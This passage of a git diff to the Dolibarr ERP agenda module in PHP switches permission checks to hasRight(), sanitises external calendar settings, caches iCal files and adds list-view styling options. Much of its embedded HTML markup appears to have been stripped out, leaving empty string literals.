@@ if ($object->id > 0) { $modulepart = 'actions'; - $permissiontoadd = $user->rights->agenda->myactions->create || $user->rights->agenda->allactions->create; + $permissiontoadd = $user->rights->agenda->myactions->create || $user->hasRight('agenda', 'allactions', 'create'); $param = '&id='.$object->id; include DOL_DOCUMENT_ROOT.'/core/tpl/document_actions_post_headers.tpl.php'; } else { diff --git a/htdocs/comm/action/index.php b/htdocs/comm/action/index.php index bfb5ca991b9..ed96199e4c3 100644 --- a/htdocs/comm/action/index.php +++ b/htdocs/comm/action/index.php @@ -49,6 +49,7 @@ if (empty($conf->global->AGENDA_EXT_NB)) { $conf->global->AGENDA_EXT_NB = 5; } $MAXAGENDA = $conf->global->AGENDA_EXT_NB; +$DELAYFORCACHE = 300; // 300 seconds $disabledefaultvalues = GETPOST('disabledefaultvalues', 'int'); @@ -247,7 +248,7 @@ if ($reshook < 0) { setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); } -$help_url = 'EN:Module_Agenda_En|FR:Module_Agenda|ES:Módulo_Agenda'; +$help_url = 'EN:Module_Agenda_En|FR:Module_Agenda|ES:Módulo_Agenda|DE:Modul_Terminplanung'; llxHeader('', $langs->trans("Agenda"), $help_url); $form = new Form($db); @@ -274,15 +275,15 @@ if (empty($conf->global->AGENDA_DISABLE_EXT)) { $color = 'AGENDA_EXT_COLOR'.$i; $default = 'AGENDA_EXT_ACTIVEBYDEFAULT'.$i; $buggedfile = 'AGENDA_EXT_BUGGEDFILE'.$i; - if (!empty($conf->global->$source) && !empty($conf->global->$name)) { + if (getDolGlobalString($source) && getDolGlobalString($name)) { // Note: $conf->global->buggedfile can be empty or 'uselocalandtznodaylight' or 'uselocalandtzdaylight' $listofextcals[] = array( 'src' => getDolGlobalString($source), - 'name' => getDolGlobalString($name), - 'offsettz' => (!empty($conf->global->$offsettz) ? $conf->global->$offsettz : 0), - 'color' => getDolGlobalString($color), - 'default' => getDolGlobalString($default), - 'buggedfile' => (isset($conf->global->buggedfile) ? $conf->global->buggedfile : 0) + 'name' => dol_string_nohtmltag(getDolGlobalString($name)), + 'offsettz' => (int) getDolGlobalInt($offsettz, 0), + 'color' => dol_string_nohtmltag(getDolGlobalString($color)), + 'default' => dol_string_nohtmltag(getDolGlobalString($default)), + 'buggedfile' => dol_string_nohtmltag(getDolGlobalString('buggedfile', '')) ); } } @@ -299,15 +300,16 @@ if (empty($user->conf->AGENDA_DISABLE_EXT)) { $enabled = 'AGENDA_EXT_ENABLED_'.$user->id.'_'.$i; $default = 'AGENDA_EXT_ACTIVEBYDEFAULT_'.$user->id.'_'.$i; $buggedfile = 'AGENDA_EXT_BUGGEDFILE_'.$user->id.'_'.$i; - if (!empty($user->conf->$source) && !empty($user->conf->$name)) { + + if (getDolUserString($source) && getDolUserString($name)) { // Note: $conf->global->buggedfile can be empty or 'uselocalandtznodaylight' or 'uselocalandtzdaylight' $listofextcals[] = array( - 'src' => $user->conf->$source, - 'name' => $user->conf->$name, - 'offsettz' => (!empty($user->conf->$offsettz) ? $user->conf->$offsettz : 0), - 'color' => $user->conf->$color, - 'default' => $user->conf->$default, - 'buggedfile' => (isset($user->conf->buggedfile) ? $user->conf->buggedfile : 0) + 'src' => getDolUserString($source), + 'name' => dol_string_nohtmltag(getDolUserString($name)), + 'offsettz' => (int) (empty($user->conf->$offsettz) ? 0 : $user->conf->$offsettz), + 'color' => dol_string_nohtmltag(getDolUserString($color)), + 'default' => dol_string_nohtmltag(getDolUserString($default)), + 'buggedfile' => dol_string_nohtmltag(isset($user->conf->buggedfile) ? $user->conf->buggedfile : '') ); } } @@ -427,36 +429,33 @@ if ($mode == 'show_day' || $mode == 'show_week' || $mode == 'show_month') { } // Show navigation bar +$nav = ''; +$nav .= ''; $nav .= $form->selectDate($dateselect, 'dateselect', 0, 0, 1, '', 1, 0); //$nav .= ' '; @@ -495,7 +494,8 @@ print ''; //print_actions_filter($form, $canedit, $status, $year, $month, $day, $showbirthday, 0, $filtert, 0, $pid, $socid, $action, $listofextcals, $actioncode, $usergroup, '', $resourceid); //print dol_get_fiche_end(); -$viewmode = ''; +$viewmode = ''; + $viewmode .= ''; // To add a space before the navigation tools $newcardbutton = ''; $newparam = ''; -if ($user->rights->agenda->myactions->create || $user->rights->agenda->allactions->create) { +if ($user->rights->agenda->myactions->create || $user->hasRight('agenda', 'allactions', 'create')) { $tmpforcreatebutton = dol_getdate(dol_now(), true); $newparam .= '&month='.((int) $month).'&year='.((int) $tmpforcreatebutton['year']).'&mode='.urlencode($mode); @@ -614,7 +616,7 @@ if (!empty($conf->use_javascript_ajax)) { // If javascript on $default = ''; } - $s .= '
       
      '; + $s .= '
       
      '; } } @@ -637,8 +639,7 @@ if (!empty($conf->use_javascript_ajax)) { // If javascript on if (!preg_match('/showbirthday=/i', $newparam)) { $newparam .= '&showbirthday=1'; } - $link = '
      trans("AgendaShowBirthdayEvents"); @@ -926,6 +927,7 @@ if ($resql) { } //var_dump($eventarray); + // BIRTHDATES CALENDAR // Complete $eventarray with birthdates if ($showbirthday) { @@ -971,6 +973,8 @@ if ($showbirthday) { $event->percentage = 100; $event->fulldayevent = 1; + $event->contact_id = $obj->rowid; + $event->date_start_in_calendar = $db->jdate($event->datep); $event->date_end_in_calendar = $db->jdate($event->datef); @@ -999,7 +1003,7 @@ if ($showbirthday) { } } -// LEAVE CALENDAR +// LEAVE-HOLIDAY CALENDAR $sql = "SELECT u.rowid as uid, u.lastname, u.firstname, u.statut, x.rowid, x.date_debut as date_start, x.date_fin as date_end, x.halfday, x.statut as status"; $sql .= " FROM ".MAIN_DB_PREFIX."holiday as x, ".MAIN_DB_PREFIX."user as u"; $sql .= " WHERE u.rowid = x.fk_user"; @@ -1010,9 +1014,13 @@ if ($mode == 'show_day') { // Request only leaves for the current selected day $sql .= " AND '".$db->escape($year)."-".$db->escape($month)."-".$db->escape($day)."' BETWEEN x.date_debut AND x.date_fin"; // date_debut and date_fin are date without time } elseif ($mode == 'show_week') { - // TODO: Add filter to reduce database request + // Restrict on current month (we get more, but we will filter later) + $sql .= " AND date_debut < '".$db->idate(dol_get_last_day($year, $month))."'"; + $sql .= " AND date_fin >= '".$db->idate(dol_get_first_day($year, $month))."'"; } elseif ($mode == 'show_month') { - // TODO: Add filter to reduce database request + // Restrict on current month + $sql .= " AND date_debut <= '".$db->idate(dol_get_last_day($year, $month))."'"; + $sql .= " AND date_fin >= '".$db->idate(dol_get_first_day($year, $month))."'"; } $resql = $db->query($sql); @@ -1083,8 +1091,11 @@ if (count($listofextcals)) { $colorcal = $extcal['color']; $buggedfile = $extcal['buggedfile']; + $pathforcachefile = dol_sanitizePathName($conf->user->dir_temp).'/'.dol_sanitizeFileName('extcal_'.$namecal.'_user'.$user->id).'.cache'; + //var_dump($pathforcachefile);exit; + $ical = new ICal(); - $ical->parse($url); + $ical->parse($url, $pathforcachefile, $DELAYFORCACHE); // After this $ical->cal['VEVENT'] contains array of events, $ical->cal['DAYLIGHT'] contains daylight info, $ical->cal['STANDARD'] contains non daylight info, ... //var_dump($ical->cal); exit; @@ -1288,7 +1299,7 @@ if (count($listofextcals)) { } // Transparency (see https://www.kanzaki.com/docs/ical/transp.html) - if ($icalevent['TRANSP']) { + if (!empty($icalevent['TRANSP'])) { if ($icalevent['TRANSP'] == "TRANSPARENT") { $event->transparency = 0; // 0 = available / free } @@ -1704,7 +1715,7 @@ function show_day_events($db, $day, $month, $year, $monthshown, $style, &$eventa $curtime = dol_mktime(0, 0, 0, $month, $day, $year); $urltoshow = DOL_URL_ROOT.'/comm/action/index.php?mode=show_day&day='.str_pad($day, 2, "0", STR_PAD_LEFT).'&month='.str_pad($month, 2, "0", STR_PAD_LEFT).'&year='.$year.$newparam; $urltocreate = ''; - if ($user->rights->agenda->myactions->create || $user->rights->agenda->allactions->create) { + if ($user->rights->agenda->myactions->create || $user->hasRight('agenda', 'allactions', 'create')) { $newparam .= '&month='.str_pad($month, 2, "0", STR_PAD_LEFT).'&year='.$year; $hourminsec = '100000'; $urltocreate = DOL_URL_ROOT.'/comm/action/card.php?action=create&datep='.sprintf("%04d%02d%02d", $year, $month, $day).$hourminsec.'&backtopage='.urlencode($_SERVER["PHP_SELF"].($newparam ? '?'.$newparam : '')); @@ -1723,7 +1734,7 @@ function show_day_events($db, $day, $month, $year, $monthshown, $style, &$eventa } print ''; print '
      '; - if ($user->rights->agenda->myactions->create || $user->rights->agenda->allactions->create) { + if ($user->rights->agenda->myactions->create || $user->hasRight('agenda', 'allactions', 'create')) { print ''; // Explicit link, usefull for nojs interfaces print img_picto($langs->trans("NewAction"), 'edit_add.png'); print ''; @@ -1792,7 +1803,10 @@ function show_day_events($db, $day, $month, $year, $monthshown, $style, &$eventa $color = ($event->icalcolor ? $event->icalcolor : -1); $cssclass = (!empty($event->icalname) ? 'family_ext'.md5($event->icalname) : 'family_other'); } elseif ($event->type_code == 'BIRTHDAY') { - $numbirthday++; $colorindex = 2; $cssclass = 'family_birthday '; $color = sprintf("%02x%02x%02x", $theme_datacolor[$colorindex][0], $theme_datacolor[$colorindex][1], $theme_datacolor[$colorindex][2]); + $numbirthday++; + $colorindex = 2; + $cssclass = 'family_birthday '; + $color = sprintf("%02x%02x%02x", $theme_datacolor[$colorindex][0], $theme_datacolor[$colorindex][1], $theme_datacolor[$colorindex][2]); } else { $numother++; $color = ($event->icalcolor ? $event->icalcolor : -1); @@ -1850,7 +1864,7 @@ function show_day_events($db, $day, $month, $year, $monthshown, $style, &$eventa $cssclass .= ' movable cursormove'; } } else { - if ($user->rights->agenda->allactions->create || + if ($user->hasRight('agenda', 'allactions', 'create') || (($event->authorid == $user->id || $event->userownerid == $user->id) && $user->rights->agenda->myactions->create)) { $cssclass .= " movable cursormove"; } else { @@ -1922,9 +1936,31 @@ function show_day_events($db, $day, $month, $year, $monthshown, $style, &$eventa $daterange = ''; - if ($event->type_code == 'BIRTHDAY') { // It's birthday calendar - print $event->getNomUrl(1, $maxnbofchar, 'cal_event', 'birthday', 'contact'); - } elseif ($event->type_code == 'HOLIDAY') { // It's holiday calendar + if ($event->type_code == 'BIRTHDAY') { + // It's birthday calendar + $picb = ''; + //$pice = ''; + //$typea = ($objp->typea == 'birth') ? $picb : $pice; + //var_dump($event); + print $picb.' '.$langs->trans("Birthday").'
      '; + //print img_picto($langs->trans("Birthday"), 'birthday-cake').' '; + + $tmpid = $event->id; + if (empty($cachecontacts[$tmpid])) { + $newcontact = new Contact($db); + $newcontact->fetch($tmpid); + $cachecontact[$tmpid] = $newcontact; + } + print $cachecontact[$tmpid]->getNomUrl(1); + + //$event->picto = 'birthday-cake'; + //print $event->getNomUrl(1, $maxnbofchar, 'cal_event', 'birthday', 'contact'); + /*$listofcontacttoshow = ''; + $listofcontacttoshow .= '
      '.$cacheusers[$tmpid]->getNomUrl(-1, '', 0, 0, 0, 0, '', 'paddingright valignmiddle'); + print $listofcontacttoshow; + */ + } elseif ($event->type_code == 'HOLIDAY') { + // It's holiday calendar $tmpholiday->fetch($event->id); print $tmpholiday->getNomUrl(1); @@ -1937,10 +1973,10 @@ function show_day_events($db, $day, $month, $year, $monthshown, $style, &$eventa } $listofusertoshow = ''; - $listofusertoshow .= '
      '.$cacheusers[$tmpid]->getNomUrl(-1, '', 0, 0, 0, 0, '', 'paddingright valigntextbottom'); + $listofusertoshow .= '
      '.$cacheusers[$tmpid]->getNomUrl(-1, '', 0, 0, 0, 0, '', 'paddingright valignmiddle'); print $listofusertoshow; - } else { // Other calendar - // Picto + } else { + // Other calendar if (empty($event->fulldayevent)) { //print $event->getNomUrl(2).' '; } @@ -2012,7 +2048,7 @@ function show_day_events($db, $day, $month, $year, $monthshown, $style, &$eventa $cacheusers[$tmpid] = $newuser; } - $listofusertoshow .= $cacheusers[$tmpid]->getNomUrl(-3, '', 0, 0, 0, 0, '', 'paddingright valigntextbottom'); + $listofusertoshow .= $cacheusers[$tmpid]->getNomUrl(-3, '', 0, 0, 0, 0, '', 'valignmiddle'); } print $titletoshow; @@ -2040,7 +2076,7 @@ function show_day_events($db, $day, $month, $year, $monthshown, $style, &$eventa } } if (!empty($contact_id) && $contact_id > 0) { - if (!is_object($cachecontacts[$contact_id])) { + if (empty($cachecontacts[$contact_id]) || !is_object($cachecontacts[$contact_id])) { $contact = new Contact($db); $contact->fetch($contact_id); $cachecontacts[$contact_id] = $contact; @@ -2062,7 +2098,7 @@ function show_day_events($db, $day, $month, $year, $monthshown, $style, &$eventa $linerelatedto .= dolGetElementUrl($event->fk_element, $event->elementtype, 1); } if ($linerelatedto) { - print '
      '.$linerelatedto; + print ' '.$linerelatedto; } } diff --git a/htdocs/comm/action/info.php b/htdocs/comm/action/info.php index d4588223b26..ee34d07ea4b 100644 --- a/htdocs/comm/action/info.php +++ b/htdocs/comm/action/info.php @@ -1,6 +1,6 @@ - * Copyright (C) 2004-2010 Laurent Destailleur + * Copyright (C) 2004-2023 Laurent Destailleur * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -53,7 +53,7 @@ if ($user->socid && $socid) { $result = restrictedArea($user, 'societe', $socid); } -$usercancreate = $user->rights->agenda->allactions->create || (($object->authorid == $user->id || $object->userownerid == $user->id) && $user->rights->agenda->myactions->create); +$usercancreate = $user->hasRight('agenda', 'allactions', 'create') || (($object->authorid == $user->id || $object->userownerid == $user->id) && $user->rights->agenda->myactions->create); /* @@ -62,7 +62,7 @@ $usercancreate = $user->rights->agenda->allactions->create || (($object->authori $form = new Form($db); -$help_url = 'EN:Module_Agenda_En|FR:Module_Agenda|ES:M&omodulodulo_Agenda'; +$help_url = 'EN:Module_Agenda_En|FR:Module_Agenda|ES:M&omodulodulo_Agenda|DE:Modul_Terminplanung'; llxHeader('', $langs->trans("Agenda"), $help_url); $object = new ActionComm($db); @@ -98,8 +98,6 @@ if (empty($reshook)) { $linkback .= $out; $morehtmlref = '
      '; -// Thirdparty -//$morehtmlref.='
      '.$langs->trans('ThirdParty') . ' : ' . $object->thirdparty->getNomUrl(1); // Project if (isModEnabled('project')) { $langs->load("projects"); @@ -109,7 +107,7 @@ if (isModEnabled('project')) { if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); diff --git a/htdocs/comm/action/list.php b/htdocs/comm/action/list.php index 4532e49b622..786e571ee3c 100644 --- a/htdocs/comm/action/list.php +++ b/htdocs/comm/action/list.php @@ -33,18 +33,22 @@ require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; require_once DOL_DOCUMENT_ROOT.'/comm/action/class/actioncomm.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/agenda.lib.php'; -include_once DOL_DOCUMENT_ROOT.'/core/class/html.formactions.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/extrafields.class.php'; +include_once DOL_DOCUMENT_ROOT.'/core/class/html.formactions.class.php'; + // Load translation files required by the page $langs->loadLangs(array("users", "companies", "agenda", "commercial", "other", "orders", "bills")); -$action = GETPOST('action', 'aZ09'); +// Get Parameters +$action = GETPOST('action', 'aZ09'); $massaction = GETPOST('massaction', 'alpha'); +$confirm = GETPOST('confirm', 'alpha'); +$cancel = GETPOST('cancel', 'alpha'); +$toselect = GETPOST('toselect', 'array'); $contextpage = GETPOST('contextpage', 'aZ') ?GETPOST('contextpage', 'aZ') : 'actioncommlist'; // To manage different context of search -$optioncss = GETPOST('optioncss', 'alpha'); -$toselect = GETPOST('toselect', 'array'); -$confirm = GETPOST('confirm', 'alpha'); +$optioncss = GETPOST('optioncss', 'alpha'); + $disabledefaultvalues = GETPOST('disabledefaultvalues', 'int'); @@ -70,6 +74,7 @@ if (GETPOST('search_actioncode', 'array')) { $actioncode = GETPOST("search_actioncode", "alpha", 3) ?GETPOST("search_actioncode", "alpha", 3) : (GETPOST("search_actioncode") == '0' ? '0' : ((empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE) || $disabledefaultvalues) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE)); } +// Search Fields $search_id = GETPOST('search_id', 'alpha'); $search_title = GETPOST('search_title', 'alpha'); $search_note = GETPOST('search_note', 'alpha'); @@ -106,6 +111,7 @@ if (empty($filtert) && empty($conf->global->AGENDA_ALL_CALENDARS)) { $filtert = $user->id; } +// Pagination parameters $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; $sortfield = GETPOST('sortfield', 'aZ09comma'); $sortorder = GETPOST('sortorder', 'aZ09comma'); @@ -283,7 +289,7 @@ $nav .= ' 0) { } $sql .= " s.nom as societe, s.rowid as socid, s.client, s.email as socemail,"; $sql .= " a.id, a.code, a.label, a.note, a.datep as dp, a.datep2 as dp2, a.fulldayevent, a.location,"; -$sql .= ' a.fk_user_author,a.fk_user_action,'; +$sql .= " a.fk_user_author, a.fk_user_action,"; $sql .= " a.fk_contact, a.note, a.percent as percent,"; $sql .= " a.fk_element, a.elementtype, a.datec, a.tms as datem,"; $sql .= " c.code as type_code, c.libelle as type_label, c.color as type_color, c.type as type_type, c.picto as type_picto,"; @@ -427,6 +433,8 @@ $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object, $action); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."actioncomm as a"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."actioncomm_extrafields as ef ON (a.id = ef.fk_object)"; if (empty($user->rights->societe->client->voir) && !$socid) { @@ -563,21 +571,18 @@ $sql .= $hookmanager->resPrint; // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - /* This old and fast method to get and count full list returns all record so use a high amount of memory. - $resql = $db->query($sql); - $nbtotalofrecords = $db->num_rows($resql); - */ - /* The slow method does not consume memory on mysql (not tested on pgsql) */ - /*$resql = $db->query($sql, 0, 'auto', 1); - while ($db->fetch_object($resql)) { - $nbtotalofrecords++; - }*/ /* The fast and low memory method to get and count full list converts the sql into a sql count */ - $sqlforcount = preg_replace('/^SELECT[a-zA-Z0-9\._\s\(\),=<>\:\-\']+\sFROM/Ui', 'SELECT COUNT(*) as nbtotalofrecords FROM', $sql); + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); $resql = $db->query($sqlforcount); - $objforcount = $db->fetch_object($resql); - $nbtotalofrecords = $objforcount->nbtotalofrecords; - if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } @@ -601,7 +606,7 @@ $num = $db->num_rows($resql); $arrayofselected = is_array($toselect) ? $toselect : array(); // Local calendar -$newtitle = '
      '; +$newtitle = '
      '; $newtitle .= ' '.$langs->trans("LocalAgenda").'   '; $newtitle .= '
      '; //$newtitle=$langs->trans($title); @@ -701,7 +706,7 @@ $url = DOL_URL_ROOT.'/comm/action/card.php?action=create'; $url .= '&datep='.sprintf("%04d%02d%02d", $tmpforcreatebutton['year'], $tmpforcreatebutton['mon'], $tmpforcreatebutton['mday']).$hourminsec; $url .= '&backtopage='.urlencode($_SERVER["PHP_SELF"].($newparam ? '?'.$newparam : '')); -$newcardbutton = dolGetButtonTitle($langs->trans('AddAction'), '', 'fa fa-plus-circle', $url, '', $user->rights->agenda->myactions->create || $user->rights->agenda->allactions->create); +$newcardbutton = dolGetButtonTitle($langs->trans('AddAction'), '', 'fa fa-plus-circle', $url, '', $user->rights->agenda->myactions->create || $user->hasRight('agenda', 'allactions', 'create')); $param .= '&mode='.$mode; @@ -715,7 +720,7 @@ include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; $moreforfilter = ''; $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; -$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')); // This also change content of $arrayfields if ($massactionbutton) { $selectedfields .= $form->showCheckAddButtons('checkforselect', 1); } @@ -729,6 +734,13 @@ print '
      '; print ''."\n"; print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} if (!empty($arrayfields['a.id']['checked'])) { print ''; } @@ -789,16 +801,17 @@ if (!empty($arrayfields['a.tms']['checked'])) { print ''; } if (!empty($arrayfields['a.percent']['checked'])) { - print ''; } // Action column -print ''; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} print ''."\n"; $totalarray = array(); @@ -807,6 +820,9 @@ $totalarray['nbfield'] = 0; // Fields title label // -------------------------------------------------------------------- print ''; +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', 'align="center"', $sortfield, $sortorder, 'maxwidthsearch '); +} if (!empty($arrayfields['a.id']['checked'])) { print_liste_field_titre($arrayfields['a.id']['label'], $_SERVER["PHP_SELF"], "a.id", $param, "", "", $sortfield, $sortorder); $totalarray['nbfield']++; @@ -868,12 +884,15 @@ if (!empty($arrayfields['a.percent']['checked'])) { print_liste_field_titre("Status", $_SERVER["PHP_SELF"], "a.percent", $param, "", 'align="center"', $sortfield, $sortorder); $totalarray['nbfield']++; } -print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', 'align="center"', $sortfield, $sortorder, 'maxwidthsearch '); +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', 'align="center"', $sortfield, $sortorder, 'maxwidthsearch '); +} $totalarray['nbfield']++; print "\n"; $now = dol_now(); $delay_warning = $conf->global->MAIN_DELAY_ACTIONS_TODO * 24 * 60 * 60; +$today_start_time = dol_mktime(0, 0, 0, date('m', $now), date('d', $now), date('Y', $now)); require_once DOL_DOCUMENT_ROOT.'/comm/action/class/cactioncomm.class.php'; $caction = new CActionComm($db); @@ -886,6 +905,7 @@ $i = 0; //$savnbfield = $totalarray['nbfield']; //$totalarray['nbfield'] = 0; $imaxinloop = ($limit ? min($num, $limit) : $num); +$cache_user_list = array(); while ($i < $imaxinloop) { $obj = $db->fetch_object($resql); if (empty($obj)) { @@ -913,6 +933,7 @@ while ($i < $imaxinloop) { $actionstatic->note_private = dol_htmlentitiesbr($obj->note); $actionstatic->datep = $db->jdate($obj->dp); $actionstatic->percentage = $obj->percent; + $actionstatic->authorid = $obj->fk_user_author; // Initialize $this->userassigned && this->socpeopleassigned array && this->userownerid // but only if we need it @@ -920,8 +941,67 @@ while ($i < $imaxinloop) { $actionstatic->fetchResources(); } - print ''; + // cache of user list (owners) + if ($obj->fk_user_action > 0 && !isset($cache_user_list[$obj->fk_user_action])) { + $userstatic = new User($db); + $res = $userstatic->fetch($obj->fk_user_action); + if ($res > 0) { + $cache_user_list[$obj->fk_user_action] = $userstatic; + } + } + // get event style for user owner + $event_owner_style = ''; + // We decide to choose color of owner of event (event->userownerid is user id of owner, event->userassigned contains all users assigned to event) + if ($cache_user_list[$obj->fk_user_action]->color != '') { + $event_owner_style .= 'border-left: #' . $cache_user_list[$obj->fk_user_action]->color . ' 5px solid;'; + } + + // get event style for start and end date + $event_more_class = ''; + $event_start_date_css = ''; + $event_end_date_css = ''; + $event_start_date_time = $actionstatic->datep; + if ($event_start_date_time > $now) { + // future event + $event_more_class = 'event-future'; + $event_start_date_css = $event_end_date_css = $event_more_class; + } else { + if ($obj->fulldayevent == 1) { + $today_start_date_time = $today_start_time; + } else { + $today_start_date_time = $now; + } + + // check event end date + $event_end_date_time = $db->jdate($obj->dp2); + if ($event_end_date_time != null && $event_end_date_time < $today_start_date_time) { + // past event + $event_more_class = 'event-past'; + } elseif ($event_end_date_time == null && $event_start_date_time < $today_start_date_time) { + // past event + $event_more_class = 'event-past'; + } else { + // current event + $event_more_class = 'event-current'; + } + $event_start_date_css = $event_end_date_css = $event_more_class; + } + $event_start_date_css = $event_end_date_css = $event_more_class; + + print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + } // Ref if (!empty($arrayfields['a.id']['checked'])) { print ''; } @@ -1100,15 +1189,17 @@ while ($i < $imaxinloop) { print ''; } // Action column - print ''; } - print ''; print ''."\n"; diff --git a/htdocs/comm/action/pertype.php b/htdocs/comm/action/pertype.php index 61092df5665..9d3bd0044e4 100644 --- a/htdocs/comm/action/pertype.php +++ b/htdocs/comm/action/pertype.php @@ -63,23 +63,19 @@ if (empty($filtert) && empty($conf->global->AGENDA_ALL_CALENDARS)) { // Sorting $sortfield = GETPOST('sortfield', 'aZ09comma'); -if (!$sortfield) { - $sortfield = "a.datec"; -} - $sortorder = GETPOST('sortorder', 'aZ09comma'); -if (!$sortorder) { - $sortorder = "ASC"; -} - -// Page $page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); if (empty($page) || $page == -1) { $page = 0; } // If $page is not defined, or '' or -1 $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; $offset = $limit * $page; - +if (!$sortorder) { + $sortorder = "ASC"; +} +if (!$sortfield) { + $sortfield = "a.datec"; +} // Security check @@ -110,14 +106,14 @@ $month = GETPOST("month", "int") ? GETPOST("month", "int") : date("m"); $week = GETPOST("week", "int") ? GETPOST("week", "int") : date("W"); $day = GETPOST("day", "int") ? GETPOST("day", "int") : date("d"); $pid = GETPOSTISSET("search_projectid") ? GETPOST("search_projectid", "int", 3) : GETPOST("projectid", "int", 3); -$status = GETPOSTISSET("search_status") ? GETPOST("search_status", 'alpha') : GETPOST("status", 'alpha'); +$status = GETPOSTISSET("search_status") ? GETPOST("search_status", 'aZ09') : GETPOST("status", 'aZ09'); $type = GETPOSTISSET("search_type") ? GETPOST("search_type", 'alpha') : GETPOST("type", 'alpha'); $maxprint = ((GETPOST("maxprint", 'int') != '') ? GETPOST("maxprint", 'int') : $conf->global->AGENDA_MAX_EVENTS_DAY_VIEW); $optioncss = GETPOST('optioncss', 'aZ'); // Option for the css output (always '' except when 'print') // Set actioncode (this code must be same for setting actioncode into peruser, listacton and index) -if (GETPOST('search_actioncode', 'array')) { - $actioncode = GETPOST('search_actioncode', 'array', 3); +if (GETPOST('search_actioncode', 'array:aZ09')) { + $actioncode = GETPOST('search_actioncode', 'array:aZ09', 3); if (!count($actioncode)) { $actioncode = '0'; } @@ -321,7 +317,7 @@ if ($pid) { if ($type) { $param .= "&search_type=".urlencode($type); } -if ($mode == 'show_day' || $mode == 'show_week' || $mode == 'show_month' || $mode != 'show_peruser') { +if ($mode != 'show_pertype') { $param .= '&mode='.urlencode($mode); } if ($begin_h != '') { @@ -356,24 +352,28 @@ $next_year = $year + 1; $next_month = $month; $next_day = $day; -// Define firstdaytoshow and lastdaytoshow (warning: lastdaytoshow is last second to show + 1) +// Define firstdaytoshow and lastdaytoshow. Warning: lastdaytoshow is last second to show + 1 +// $firstdaytoshow and lastdaytoshow become a gmt dates to use to search/compare because first_xxx are in tz idea and we used tzuserrel $firstdaytoshow = dol_mktime(0, 0, 0, $first_month, $first_day, $first_year, 'tzuserrel'); $lastdaytoshow = dol_time_plus_duree($firstdaytoshow, 7, 'd'); //print $firstday.'-'.$first_month.'-'.$first_year; -//print dol_print_date($firstdaytoshow,'dayhour'); -//print dol_print_date($lastdaytoshow,'dayhour'); +//print dol_print_date($firstdaytoshow, 'dayhour', 'gmt'); +//print dol_print_date($lastdaytoshow,'dayhour', 'gmt'); $max_day_in_month = date("t", dol_mktime(0, 0, 0, $month, 1, $year, 'gmt')); $tmpday = $first_day; $picto = 'calendarweek'; -$nav = "".img_previous($langs->trans("Previous"))."\n"; +// Show navigation bar +$nav = ''; $nav .= $form->selectDate($dateselect, 'dateselect', 0, 0, 1, '', 1, 0); $nav .= ' '; @@ -477,9 +477,9 @@ if (empty($reshook)) { $viewmode = $hookmanager->resPrint; } - +$newparam = ''; $newcardbutton = ''; -if ($user->rights->agenda->myactions->create || $user->rights->agenda->allactions->create) { +if ($user->rights->agenda->myactions->create || $user->hasRight('agenda', 'allactions', 'create')) { $tmpforcreatebutton = dol_getdate(dol_now(), true); $newparam .= '&month='.str_pad($month, 2, "0", STR_PAD_LEFT).'&year='.$tmpforcreatebutton['year']; @@ -592,12 +592,12 @@ if ($filtert > 0 || $usergroup > 0) { if ($mode == 'show_day') { $sql .= " AND ("; $sql .= " (a.datep BETWEEN '".$db->idate(dol_mktime(0, 0, 0, $month, $day, $year, 'tzuserrel'))."'"; - $sql .= " AND '".$db->idate(dol_mktime(23, 59, 59, $month, $day, 